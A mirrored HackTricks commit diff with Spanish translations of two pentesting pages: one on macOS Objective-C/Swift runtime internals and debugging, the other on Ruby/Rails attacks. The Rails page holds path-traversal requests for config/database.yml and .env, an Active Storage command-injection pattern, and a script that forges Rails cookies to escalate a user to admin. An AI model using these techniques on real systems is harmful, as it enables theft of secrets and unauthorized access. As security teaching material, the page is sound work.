mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
353274d300
commit
aeebf936f9
@ -4,9 +4,9 @@
|
||||
|
||||
## CFRuntimeClass
|
||||
|
||||
Los objetos CF\* provienen de CoreFoundation, que proporciona más de 50 clases de objetos como `CFString`, `CFNumber` o `CFAllocator`.
|
||||
Los objetos CF* provienen de CoreFoundation, que proporciona más de 50 clases de objetos como `CFString`, `CFNumber` o `CFAllocator`.
|
||||
|
||||
Todas estas clases son instancias de la clase `CFRuntimeClass`, que al ser llamada devuelve un índice a la `__CFRuntimeClassTable`. La CFRuntimeClass está definida en [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
|
||||
Todas estas clases son instancias de la clase `CFRuntimeClass`, que al invocarse devuelve un índice en la `__CFRuntimeClassTable`. La CFRuntimeClass está definida en [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
|
||||
```objectivec
|
||||
// Some comments were added to the original code
|
||||
|
||||
@ -55,38 +55,49 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
|
||||
```
|
||||
## Objective-C
|
||||
|
||||
### Secciones de memoria utilizadas
|
||||
### Secciones de memoria usadas
|
||||
|
||||
La mayor parte de los datos utilizados por el tiempo de ejecución de ObjectiveC cambiarán durante la ejecución, por lo tanto, utiliza algunas secciones del segmento **\_\_DATA** en memoria:
|
||||
La mayor parte de los datos usados por el runtime de Objective‑C cambian durante la ejecución, por lo que utiliza varias secciones de la familia de segmentos Mach‑O `__DATA` en memoria. Históricamente estas incluían:
|
||||
|
||||
- **`__objc_msgrefs`** (`message_ref_t`): Referencias de mensajes
|
||||
- **`__objc_ivar`** (`ivar`): Variables de instancia
|
||||
- **`__objc_data`** (`...`): Datos mutables
|
||||
- **`__objc_classrefs`** (`Class`): Referencias de clase
|
||||
- **`__objc_superrefs`** (`Class`): Referencias de superclase
|
||||
- **`__objc_protorefs`** (`protocol_t *`): Referencias de protocolo
|
||||
- **`__objc_selrefs`** (`SEL`): Referencias de selector
|
||||
- **`__objc_const`** (`...`): Datos de clase `r/o` y otros datos (esperemos) constantes
|
||||
- **`__objc_imageinfo`** (`version, flags`): Utilizado durante la carga de la imagen: Versión actualmente `0`; Las banderas especifican soporte de GC preoptimizado, etc.
|
||||
- **`__objc_protolist`** (`protocol_t *`): Lista de protocolos
|
||||
- **`__objc_nlcatlist`** (`category_t`): Puntero a categorías no perezosas definidas en este binario
|
||||
- **`__objc_catlist`** (`category_t`): Puntero a categorías definidas en este binario
|
||||
- **`__objc_nlclslist`** (`classref_t`): Puntero a clases de Objective-C no perezosas definidas en este binario
|
||||
- **`__objc_classlist`** (`classref_t`): Punteros a todas las clases de Objective-C definidas en este binario
|
||||
- `__objc_msgrefs` (`message_ref_t`): Referencias de mensaje
|
||||
- `__objc_ivar` (`ivar`): Variables de instancia
|
||||
- `__objc_data` (`...`): Datos mutables
|
||||
- `__objc_classrefs` (`Class`): Referencias a clases
|
||||
- `__objc_superrefs` (`Class`): Referencias a superclases
|
||||
- `__objc_protorefs` (`protocol_t *`): Referencias a protocolos
|
||||
- `__objc_selrefs` (`SEL`): Referencias a selectores
|
||||
- `__objc_const` (`...`): Datos r/o de clase y otros datos (con suerte) constantes
|
||||
- `__objc_imageinfo` (`version, flags`): Usado durante la carga de la imagen: Versión actualmente `0`; Flags especifican soporte GC preoptimizado, etc.
|
||||
- `__objc_protolist` (`protocol_t *`): Lista de protocolos
|
||||
- `__objc_nlcatlist` (`category_t`): Puntero a Non-Lazy Categories definidas en este binario
|
||||
- `__objc_catlist` (`category_t`): Puntero a Categories definidas en este binario
|
||||
- `__objc_nlclslist` (`classref_t`): Puntero a Non-Lazy Objective‑C classes definidas en este binario
|
||||
- `__objc_classlist` (`classref_t`): Punteros a todas las Objective‑C classes definidas en este binario
|
||||
|
||||
También utiliza algunas secciones en el segmento **`__TEXT`** para almacenar valores constantes si no es posible escribir en esta sección:
|
||||
También usa algunas secciones en el segmento `__TEXT` para almacenar constantes:
|
||||
|
||||
- **`__objc_methname`** (C-String): Nombres de métodos
|
||||
- **`__objc_classname`** (C-String): Nombres de clase
|
||||
- **`__objc_methtype`** (C-String): Tipos de métodos
|
||||
- `__objc_methname` (C‑String): Nombres de métodos
|
||||
- `__objc_classname` (C‑String): Nombres de clases
|
||||
- `__objc_methtype` (C‑String): Tipos de método
|
||||
|
||||
Los macOS/iOS modernos (especialmente en Apple Silicon) también colocan metadatos Objective‑C/Swift en:
|
||||
|
||||
- `__DATA_CONST`: metadatos Objective‑C inmutables que pueden compartirse como solo‑lectura entre procesos (por ejemplo, muchas listas `__objc_*` ahora viven aquí).
|
||||
- `__AUTH` / `__AUTH_CONST`: segmentos que contienen punteros que deben autenticarse en carga o en tiempo de uso en arm64e (Pointer Authentication). También verás `__auth_got` en `__AUTH_CONST` en lugar del legado `__la_symbol_ptr`/`__got` solamente. When instrumenting or hooking, recuerda tener en cuenta tanto las entradas `__got` como `__auth_got` en binarios modernos.
|
||||
|
||||
Para contexto sobre la pre‑optimización de dyld (p. ej., selector uniquing y precomputation de clase/protocolo) y por qué muchas de estas secciones ya están "arregladas" cuando provienen del shared cache, revisa las fuentes Apple `objc-opt` y las notas del dyld shared cache. Esto afecta dónde y cómo puedes parchear metadatos en tiempo de ejecución.
|
||||
|
||||
{{#ref}}
|
||||
../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
|
||||
{{#endref}}
|
||||
|
||||
### Codificación de tipos
|
||||
|
||||
Objective-C utiliza cierta mangling para codificar selectores y tipos de variables de tipos simples y complejos:
|
||||
Objective‑C utiliza mangling para codificar los tipos de selectores y variables de tipos simples y complejos:
|
||||
|
||||
- Los tipos primitivos utilizan la primera letra del tipo `i` para `int`, `c` para `char`, `l` para `long`... y utilizan la letra mayúscula en caso de que sea sin signo (`L` para `unsigned Long`).
|
||||
- Otros tipos de datos cuyas letras se utilizan o son especiales, utilizan otras letras o símbolos como `q` para `long long`, `b` para `bitfields`, `B` para `booleans`, `#` para `classes`, `@` para `id`, `*` para `char pointers`, `^` para `pointers` genéricos y `?` para `undefined`.
|
||||
- Los arreglos, estructuras y uniones utilizan `[`, `{` y `(`
|
||||
- Los tipos primitivos usan la primera letra del tipo: `i` para `int`, `c` para `char`, `l` para `long`... y usan la letra mayúscula en caso de que sea unsigned (`L` para `unsigned long`).
|
||||
- Otros tipos de datos usan otras letras o símbolos como `q` para `long long`, `b` para bitfields, `B` para booleanos, `#` para clases, `@` para `id`, `*` para `char *`, `^` para punteros genéricos y `?` para indefinido.
|
||||
- Arrays, estructuras y unions usan `[` , `{` y `(` respectivamente.
|
||||
|
||||
#### Ejemplo de declaración de método
|
||||
```objectivec
|
||||
@ -94,29 +105,29 @@ Objective-C utiliza cierta mangling para codificar selectores y tipos de variabl
|
||||
```
|
||||
El selector sería `processString:withOptions:andError:`
|
||||
|
||||
#### Codificación de Tipo
|
||||
#### Codificación de tipos
|
||||
|
||||
- `id` se codifica como `@`
|
||||
- `char *` se codifica como `*`
|
||||
|
||||
La codificación de tipo completa para el método es:
|
||||
La codificación completa de tipos para el método es:
|
||||
```less
|
||||
@24@0:8@16*20^@24
|
||||
```
|
||||
#### Desglose Detallado
|
||||
#### Desglose detallado
|
||||
|
||||
1. **Tipo de Retorno (`NSString *`)**: Codificado como `@` con longitud 24
|
||||
2. **`self` (instancia de objeto)**: Codificado como `@`, en el desplazamiento 0
|
||||
3. **`_cmd` (selector)**: Codificado como `:`, en el desplazamiento 8
|
||||
4. **Primer argumento (`char * input`)**: Codificado como `*`, en el desplazamiento 16
|
||||
5. **Segundo argumento (`NSDictionary * options`)**: Codificado como `@`, en el desplazamiento 20
|
||||
6. **Tercer argumento (`NSError ** error`)**: Codificado como `^@`, en el desplazamiento 24
|
||||
1. Tipo de retorno (`NSString *`): Codificado como `@` con longitud 24
|
||||
2. `self` (instancia del objeto): Codificado como `@`, en el offset 0
|
||||
3. `_cmd` (selector): Codificado como `:`, en el offset 8
|
||||
4. Primer argumento (`char * input`): Codificado como `*`, en el offset 16
|
||||
5. Segundo argumento (`NSDictionary * options`): Codificado como `@`, en el offset 20
|
||||
6. Tercer argumento (`NSError ** error`): Codificado como `^@`, en el offset 24
|
||||
|
||||
**Con el selector + la codificación puedes reconstruir el método.**
|
||||
Con el selector + la codificación puedes reconstruir el método.
|
||||
|
||||
### **Clases**
|
||||
### Clases
|
||||
|
||||
Clases en Objective-C es una estructura con propiedades, punteros a métodos... Es posible encontrar la estructura `objc_class` en el [**código fuente**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
|
||||
Las clases en Objective‑C son C structs con propiedades, punteros a métodos, etc. Es posible encontrar la struct `objc_class` en el [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
|
||||
```objectivec
|
||||
struct objc_class : objc_object {
|
||||
// Class ISA;
|
||||
@ -137,9 +148,114 @@ data()->setFlags(set);
|
||||
}
|
||||
[...]
|
||||
```
|
||||
Esta clase utiliza algunos bits del campo isa para indicar información sobre la clase.
|
||||
Esta clase usa algunos bits del campo `isa` para indicar información sobre la clase.
|
||||
|
||||
Luego, la estructura tiene un puntero a la estructura `class_ro_t` almacenada en disco que contiene atributos de la clase como su nombre, métodos base, propiedades y variables de instancia.\
|
||||
Durante el tiempo de ejecución, se utiliza una estructura adicional `class_rw_t` que contiene punteros que pueden ser alterados, como métodos, protocolos, propiedades...
|
||||
Además, el struct tiene un puntero al struct `class_ro_t` almacenado en disco que contiene atributos de la clase como su nombre, métodos base, propiedades y variables de instancia. En tiempo de ejecución se utiliza una estructura adicional `class_rw_t` que contiene punteros que pueden modificarse, como métodos, protocolos y propiedades.
|
||||
|
||||
{{#ref}}
|
||||
../macos-basic-objective-c.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Representaciones modernas de objetos en memoria (arm64e, punteros etiquetados, Swift)
|
||||
|
||||
### isa no puntero y Pointer Authentication (arm64e)
|
||||
|
||||
En Apple Silicon y en runtimes recientes el `isa` de Objective‑C no siempre es un puntero de clase sin procesar. En arm64e es una estructura empaquetada que también puede llevar un Pointer Authentication Code (PAC). Dependiendo de la plataforma puede incluir campos como `nonpointer`, `has_assoc`, `weakly_referenced`, `extra_rc` y el propio puntero de clase (desplazado o con signo). Esto significa que desreferenciar a ciegas los primeros 8 bytes de un objeto Objective‑C no siempre devolverá un puntero `Class` válido.
|
||||
|
||||
Notas prácticas al depurar en arm64e:
|
||||
|
||||
- LLDB normalmente eliminará los bits PAC por ti al imprimir objetos Objective‑C con `po`, pero al trabajar con punteros crudos puede que necesites quitar la autenticación manualmente:
|
||||
|
||||
```lldb
|
||||
(lldb) expr -l objc++ -- #include <ptrauth.h>
|
||||
(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
|
||||
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
|
||||
```
|
||||
|
||||
- Muchos punteros a funciones/datos en Mach‑O residirán en `__AUTH`/`__AUTH_CONST` y requieren autenticación antes de usarlos. Si estás interponiendo o re‑binding (p. ej., estilo fishhook), asegúrate de manejar también `__auth_got` además del antiguo `__got`.
|
||||
|
||||
Para una inmersión profunda en las garantías del lenguaje/ABI y los intrínsecos de `<ptrauth.h>` disponibles en Clang/LLVM, consulta la referencia al final de esta página.
|
||||
|
||||
### Objetos con punteros etiquetados
|
||||
|
||||
Algunas clases de Foundation evitan la asignación en el heap codificando la carga útil del objeto directamente en el valor del puntero (tagged pointers). La detección difiere según la plataforma (p. ej., el bit más significativo en arm64, el menos significativo en macOS x86_64). Los objetos tagged no tienen un `isa` regular almacenado en memoria; el runtime resuelve la clase a partir de los bits de etiqueta. Al inspeccionar valores arbitrarios de `id`:
|
||||
|
||||
- Usa las APIs del runtime en lugar de inspeccionar el campo `isa`: `object_getClass(obj)` / `[obj class]`.
|
||||
- En LLDB, simplemente `po (id)0xADDR` imprimirá instancias con tagged pointers correctamente porque se consulta al runtime para resolver la clase.
|
||||
|
||||
### Objetos en el heap de Swift y metadatos
|
||||
|
||||
Las clases puras de Swift también son objetos con un encabezado que apunta a los metadatos de Swift (no al `isa` de Objective‑C). Para inspeccionar procesos Swift en vivo sin modificarlos puedes usar `swift-inspect` del toolchain de Swift, que aprovecha la librería Remote Mirror para leer los metadatos del runtime:
|
||||
```bash
|
||||
# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
|
||||
swift-inspect dump-raw-metadata <pid-or-name>
|
||||
swift-inspect dump-arrays <pid-or-name>
|
||||
# On Darwin additionally:
|
||||
swift-inspect dump-concurrency <pid-or-name>
|
||||
```
|
||||
Esto es muy útil para mapear objetos del heap de Swift y las conformancias a protocolos al hacer reversing de apps mixtas Swift/ObjC.
|
||||
|
||||
---
|
||||
|
||||
## Resumen rápido de inspección en tiempo de ejecución (LLDB / Frida)
|
||||
|
||||
### LLDB
|
||||
|
||||
- Imprimir objeto o clase desde un puntero crudo:
|
||||
```lldb
|
||||
(lldb) expr -l objc++ -O -- (id)0x0000000101234560
|
||||
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
|
||||
```
|
||||
- Inspeccionar Objective‑C class desde un pointer a un object method’s `self` en un breakpoint:
|
||||
```lldb
|
||||
(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
|
||||
(lldb) r
|
||||
... breakpoint hit ...
|
||||
(lldb) po (id)$x0 # self
|
||||
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
|
||||
```
|
||||
- Volcar secciones que contienen metadatos de Objective‑C (nota: muchas ahora están en `__DATA_CONST` / `__AUTH_CONST`):
|
||||
```lldb
|
||||
(lldb) image dump section --section __DATA_CONST.__objc_classlist
|
||||
(lldb) image dump section --section __DATA_CONST.__objc_selrefs
|
||||
(lldb) image dump section --section __AUTH_CONST.__auth_got
|
||||
```
|
||||
- Leer la memoria de un objeto de clase conocido para pivotar a `class_ro_t` / `class_rw_t` al hacer ingeniería inversa de las listas de métodos:
|
||||
```lldb
|
||||
(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
|
||||
(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
|
||||
```
|
||||
### Frida (Objective‑C and Swift)
|
||||
|
||||
Frida proporciona puentes de alto nivel en tiempo de ejecución que son muy útiles para descubrir e instrumentar objetos vivos sin símbolos:
|
||||
|
||||
- Enumerar clases y métodos, resolver los nombres reales de las clases en tiempo de ejecución e interceptar selectores de Objective‑C:
|
||||
```js
|
||||
if (ObjC.available) {
|
||||
// List a class' methods
|
||||
console.log(ObjC.classes.NSFileManager.$ownMethods);
|
||||
|
||||
// Intercept and inspect arguments/return values
|
||||
const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
|
||||
Interceptor.attach(impl, {
|
||||
onEnter(args) {
|
||||
this.path = new ObjC.Object(args[2]).toString();
|
||||
},
|
||||
onLeave(retval) {
|
||||
console.log('fileExistsAtPath:', this.path, '=>', retval);
|
||||
}
|
||||
});
|
||||
}
|
||||
```
|
||||
- Puente Swift: enumerar tipos Swift e interactuar con instancias Swift (requiere Frida reciente; muy útil en objetivos con Apple Silicon).
|
||||
|
||||
---
|
||||
|
||||
## Referencias
|
||||
|
||||
- Clang/LLVM: Autenticación de punteros y las intrínsecas `<ptrauth.h>` (ABI arm64e). https://clang.llvm.org/docs/PointerAuthentication.html
|
||||
- Encabezados del runtime objc de Apple (punteros etiquetados, `isa` no puntero, etc.), p. ej., `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,9 +1,100 @@
|
||||
# Ruby Tricks
|
||||
# Trucos de Ruby
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Carga de archivos a RCE
|
||||
## Subida de archivos a RCE
|
||||
|
||||
Como se explica en [este artículo](https://www.offsec.com/blog/cve-2024-46986/), cargar un archivo `.rb` en directorios sensibles como `config/initializers/` puede llevar a la ejecución remota de código (RCE) en aplicaciones Ruby on Rails.
|
||||
Como se explica en [this article](https://www.offsec.com/blog/cve-2024-46986/), subir un archivo `.rb` a directorios sensibles como `config/initializers/` puede llevar a remote code execution (RCE) en aplicaciones Ruby on Rails.
|
||||
|
||||
Tips:
|
||||
- Otras ubicaciones de boot/eager-load que se ejecutan al iniciar la app también son riesgosas si son escribibles (p. ej., `config/initializers/` es la clásica). Si encuentras una subida arbitraria de archivos que cae en cualquier lugar bajo `config/` y luego se evalúa/requirea, puedes obtener RCE al arranque.
|
||||
- Busca dev/staging builds que copien archivos controlados por el usuario dentro de la imagen del contenedor donde Rails los cargará en el boot.
|
||||
|
||||
## Active Storage image transformation → command execution (CVE-2025-24293)
|
||||
|
||||
Cuando una aplicación usa Active Storage con `image_processing` + `mini_magick`, y pasa parámetros no confiables a los métodos de transformación de imágenes, las versiones de Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podrían permitir inyección de comandos porque algunos métodos de transformación fueron permitidos por error por defecto.
|
||||
|
||||
- Un patrón vulnerable se ve así:
|
||||
```erb
|
||||
<%= image_tag blob.variant(params[:t] => params[:v]) %>
|
||||
```
|
||||
donde `params[:t]` y/o `params[:v]` están controlados por el atacante.
|
||||
|
||||
- Qué probar durante las pruebas
|
||||
- Identifica endpoints que acepten opciones de variant/processing, nombres de transformación, o argumentos arbitrarios de ImageMagick.
|
||||
- Fuzz `params[:t]` y `params[:v]` buscando errores sospechosos o efectos secundarios de ejecución. Si puedes influir en el nombre del método o pasar argumentos raw que lleguen a MiniMagick, podrías conseguir code exec en el host que procesa las imágenes.
|
||||
- Si solo tienes acceso de lectura a las variantes generadas, intenta blind exfiltration vía operaciones de ImageMagick especialmente construidas.
|
||||
|
||||
- Remediación/detecciones
|
||||
- Si ves Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage + `image_processing` + `mini_magick` y transformaciones controladas por el usuario, considéralo explotable. Recomienda actualizar y aplicar listas blancas estrictas para métodos/params y una política de ImageMagick más hardening.
|
||||
|
||||
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
||||
|
||||
Si el stack objetivo usa middleware de Rack directamente o vía frameworks, versiones de `rack` anteriores a 2.2.13, 3.0.14 y 3.1.12 permiten Local File Inclusion vía `Rack::Static` cuando `:root` no está establecido/mal configurado. Traversal codificado en `PATH_INFO` puede exponer archivos bajo el working directory del proceso o un root inesperado.
|
||||
|
||||
- Busca apps que monten `Rack::Static` en `config.ru` o en las pilas de middleware. Prueba traversals codificados contra rutas estáticas, por ejemplo:
|
||||
```text
|
||||
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
||||
GET /favicon.ico/..%2f..%2f.env
|
||||
```
|
||||
Ajusta el prefijo para que coincida con los `urls:` configurados. Si la app responde con el contenido del archivo, probablemente tengas LFI a cualquier cosa bajo el `:root` resuelto.
|
||||
|
||||
- Mitigación: actualizar Rack; asegurar que `:root` solo apunte a un directorio de archivos públicos y esté establecido explícitamente.
|
||||
|
||||
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
|
||||
|
||||
Rails cifra y firma cookies usando claves derivadas de `secret_key_base`. Si ese valor leaks (p. ej., en un repo, logs, o credenciales mal configuradas), usualmente puedes descifrar, modificar y volver a cifrar cookies. Esto a menudo conduce a bypass de authz si la app almacena roles, user IDs, o feature flags en cookies.
|
||||
|
||||
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
|
||||
```ruby
|
||||
require 'cgi'
|
||||
require 'json'
|
||||
require 'active_support'
|
||||
require 'active_support/message_encryptor'
|
||||
require 'active_support/key_generator'
|
||||
|
||||
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
|
||||
raw_cookie = CGI.unescape(ARGV[0])
|
||||
|
||||
salt = 'authenticated encrypted cookie'
|
||||
cipher = 'aes-256-gcm'
|
||||
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
|
||||
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
|
||||
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
|
||||
|
||||
plain = enc.decrypt_and_verify(raw_cookie)
|
||||
puts "Decrypted: #{plain.inspect}"
|
||||
|
||||
# Modify and re-encrypt (example: escalate role)
|
||||
plain['role'] = 'admin' if plain.is_a?(Hash)
|
||||
forged = enc.encrypt_and_sign(plain)
|
||||
puts "Forged cookie: #{CGI.escape(forged)}"
|
||||
```
|
||||
Notas:
|
||||
- Las aplicaciones más antiguas pueden usar AES-256-CBC y salts `encrypted cookie` / `signed encrypted cookie`, o serializadores JSON/Marshal. Ajusta salts, cipher y serializer según corresponda.
|
||||
- En caso de compromiso/evaluación, rota `secret_key_base` para invalidar todas las cookies existentes.
|
||||
|
||||
## Ver también (Ruby/Rails-specific vulns)
|
||||
|
||||
- Ruby deserialization and class pollution:
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/README.md
|
||||
{{#endref}}
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/ruby-class-pollution.md
|
||||
{{#endref}}
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/ruby-_json-pollution.md
|
||||
{{#endref}}
|
||||
- Template injection en los motores de Ruby (ERB/Haml/Slim, etc.):
|
||||
{{#ref}}
|
||||
../../pentesting-web/ssti-server-side-template-injection/README.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## Referencias
|
||||
|
||||
- Anuncio de seguridad de Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||||
- Aviso de GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user